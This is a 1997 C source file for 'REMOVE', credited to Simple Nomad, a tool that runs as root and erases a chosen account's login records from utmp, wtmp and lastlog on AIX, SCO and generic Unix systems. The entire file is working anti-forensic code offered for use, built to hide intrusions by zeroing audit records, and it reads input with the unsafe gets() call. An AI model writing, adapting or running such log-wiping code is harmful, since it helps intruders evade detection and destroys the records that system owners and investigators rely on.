/*
REMOVE -- February 26, 1997
Simple Nomad -- Nomad Mobile Research Centre
Universal utmp, wtmp, and lastlog editor. Actually
removes, doesn't leave holes...
Compile "cc -o remove remove.c -DGENERIC" and run
as root. Use -DAIX instead of -DGENERIC for an AIX
machine. Use -DSCO instead of -DGENERIC for a SCO
machine.
*/
#include <stdio.h>
#include <utmp.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#ifndef AIX
#include <lastlog.h>
#else
#include <login.h>
#endif
#include <pwd.h>
#ifdef AIX
#define WTMP "/var/adm/wtmp"
#define UTMP "/etc/utmp"
#define LASTLOG "/etc/security/lastlog" /* Not a binary file in AIX, so */
/* handled a bit differently. */
char LogParam[7][30]=
{
"time_last_login=","tty_last_login=","host_last_login=",
"unsuccessful_login_count=","time_last_unsuccessful_login=",
"tty_last_unsuccessful_login=","host_last_unsuccessful_login="
};
#endif
#ifdef SCO
#define WTMP "/etc/wtmp" /* wtmp was here on the SCO box I accessed */
#define UTMP "/var/adm/utmp"
#define LASTLOG "/var/adm/lastlog"
#endif
#ifdef GENERIC /* Should work with Linux, IRIX, Digital Unix, BSDs, etc */
#define WTMP "/var/adm/wtmp"
#define UTMP "/var/adm/utmp"
#define LASTLOG "/var/adm/lastlog"
#endif
void main(argc,argv)
int argc;
char *argv[];
{
int cleanWtmp(char *,int);
int cleanUtmp(char *,int);
int cleanLastlog(char *);
int getCount(char *,char *);
char line[10];
int killem, firstcnt, t;
if(argc!=2)
{
printf("Usage: %s acct\n",argv[0]);
exit(0);
}
firstcnt=getCount(WTMP,argv[1]); /* Get an initial count */
printf("\nREMOVE by Simple Nomad\nNomad Mobile Research Centre (c) 1997\n\n");
printf("Found %d record(s) for user %s\n",firstcnt,argv[1]);
printf("Will attempt a lastlog cleanup by default.\n\n");
printf("# - remove last # records from utmp/wtmp\n");
printf("a - remove (a)ll records from utmp/wtmp\n");
printf("q - (q)uit program\n\n");
printf("Enter selection -> ");
gets(line);
if(line[0]==0x51 || line[0]==0x71) exit(0);
if(line[0]==0x41 || line[0]==0x61) killem=firstcnt;
else killem=atoi(line);
if (killem>firstcnt)
{
printf("You cannot delete %d records if only %d exist.\n",killem,firstcnt);
exit(-1);
}
t=cleanWtmp(argv[1],killem); /* Now to clean up utmp and wtmp */
if (t==1) {
printf("Trouble cleaning up %s.\n",WTMP);
exit(-1);
} else printf("REMOVE cleaned up %d record(s) from %s\n",killem,WTMP);
t=cleanUtmp(argv[1],killem);
if (t==1) {
printf("Trouble cleaning up %s.\n",UTMP);
exit(-1);
} else printf("REMOVE cleaned up %d record(s) from %s\n",killem,UTMP);
t=cleanLastlog(argv[1]); /* Make our attempt at lastlog */
if (t==1) {
printf("Trouble cleaning up %s.\n",LASTLOG); exit(-1);
}
printf("REMOVE cleaned up %s\n",LASTLOG);
} /* end main */
int getCount(fname,acct) /* Go check wtmp and find out how many records */
char *fname, *acct;
{
struct utmp utmp_ent;
int f,cnt=0;
if((f=open(fname,O_RDWR))>=0){
while(read(f,&utmp_ent,sizeof(utmp_ent)))if(!strncmp(utmp_ent.ut_name, acct,strlen(acct)))cnt++;
}
close(f);
return(cnt);
} /* end getCount */
int cleanWtmp(acct,killem)
char *acct;
int killem;
{
struct utmp utmp_ent;
int fd,count=0;
if((fd=open(WTMP,O_RDWR))>=0){
while(read(fd,&utmp_ent,sizeof(utmp_ent)))if(!strncmp(utmp_ent.ut_name,acct,strlen(acct)))count++;
lseek(fd,0,SEEK_SET);
while(read(fd,&utmp_ent,sizeof(utmp_ent))&&killem){
if(!strncmp(utmp_ent.ut_name,acct,strlen(acct))){
count--;
if(count+1<=killem){
bzero((char *)&utmp_ent,sizeof(utmp_ent));
lseek(fd,-(sizeof(utmp_ent)),SEEK_CUR);
write(fd,&utmp_ent,sizeof(utmp_ent));
killem--;
}
}
}
close(fd);
}
else return(1);
} /* end cleanWtmp */
int cleanUtmp(acct,killem)
char *acct;
int killem;
{
struct utmp utmp_ent;
int fd;
if((fd=open(UTMP,O_RDWR))>=0){
lseek(fd,0,SEEK_SET);
while(read(fd,&utmp_ent,sizeof(utmp_ent))&&killem){
if(!strncmp(utmp_ent.ut_name,acct,strlen(acct))){
if(killem>0){
bzero((char *)&utmp_ent,sizeof(utmp_ent));
lseek(fd,-(sizeof(utmp_ent)),SEEK_CUR);
write(fd,&utmp_ent,sizeof(utmp_ent));
killem--;
}
}
}
close(fd);
}
else return(1);
} /* end cleanUtmp */
int cleanLastlog(acct) /* The lastlog subroutine */
char *acct;
{
#ifdef AIX /* Quite a kludge for AIX, but what the fuck it works */
int t,i;
char entry[200];
for (i=0;i<7;i++)
{
sprintf(entry,"chsec -f %s -s %s -a %s>/dev/null",LASTLOG,acct,LogParam[i]);
t=system(entry);
printf("Return code for %s is %d\n",LogParam[i],t);
}
#else /* Normal binary lastlog cleanup */
struct passwd *pwd;
struct lastlog logit;
int f;
if((pwd=getpwnam(acct))){
if((f=open(LASTLOG,O_RDWR))>=0){
lseek(f,(long)pwd->pw_uid*sizeof(struct lastlog),0);
bzero((char *)&logit,sizeof(logit));
write(f,(char *)&logit,sizeof(logit));
close(f);
}
}
else return(1);
#endif
} /* end cleanLastlog */